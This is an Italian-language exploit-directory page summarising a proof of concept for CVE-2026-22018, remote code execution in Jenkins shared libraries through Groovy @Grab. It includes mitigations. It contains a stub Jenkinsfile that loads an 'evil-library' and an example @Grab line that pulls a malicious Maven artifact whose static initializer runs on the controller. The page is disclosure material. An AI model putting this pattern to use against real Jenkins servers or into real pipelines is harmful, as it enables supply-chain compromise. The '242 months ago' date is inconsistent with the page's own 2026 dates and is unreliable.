Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22018-Jenkins-Pipeline-Shared-Library-Code-Execution-via-Grab- — PoC per CVE-2026-22018, una vulnerabilità critica di RCE in Jenkins Pipeline Shared Library tramite Groovy @Grab, che dimostra l'iniezione di codice nella supply chain e i passaggi di mitigazione. | Kitploit
Strumenti/GitHubGitHub/george0papasotiriou/cve-2026-22018-jenkins-pipeline-shared-library-code-execution-via-grab-
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebDevSecOpsSicurezza della Supply Chain
GitHubgeorge0papasotiriou/cve-2026-22018-jenkins-pipeline-shared-library-code-execution-via-grab-

CVE-2026-22018-Jenkins-Pipeline-Shared-Library-Code-Execution-via-Grab-

PoC per CVE-2026-22018, una vulnerabilità critica di RCE in Jenkins Pipeline Shared Library tramite Groovy @Grab, che dimostra l'iniezione di codice nella supply chain e i passaggi di mitigazione.

Vedi Repository
242 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-22018 – Esecuzione di codice nella libreria condivisa della pipeline Jenkins tramite @Grab

Codice del programma (pipeline Groovy)

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Esecuzione remota di codice nella libreria condivisa della pipeline Jenkins

Severity: Critical

Panoramica

Una pipeline Jenkins carica una libreria condivisa da una fonte non completamente attendibile. La libreria usa l'annotazione @Grab per scaricare artefatti Maven esterni, che possono includere una classe dannosa in grado di eseguire codice sul controller Jenkins durante la compilazione Groovy.

Dettagli della vulnerabilità

  • Tipo: Iniezione di codice / Supply Chain
  • Impatto: Compromissione completa del controller Jenkins.
  • Causa principale: L'annotazione @Grab di Groovy recupera e carica JAR arbitrari in fase di esecuzione; le librerie condivise non sono in sandbox.

Dimostrazione dell'exploit

Configura una pipeline con una libreria non attendibile che contiene @Grab('com.evil:malware:1.0') in vars/evilStep.groovy. Quando la pipeline viene eseguita, l'inizializzatore statico del JAR dannoso viene eseguito.

Mitigazione

  • Utilizzare solo librerie condivise provenienti da repository SCM attendibili e firmati.
  • Disabilitare @Grab tramite le impostazioni di sicurezza della sandbox di Groovy.
  • Usare con cautela l'opzione della pipeline “Load implicitly”.

Installazione e utilizzo

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.
Scarica lo strumento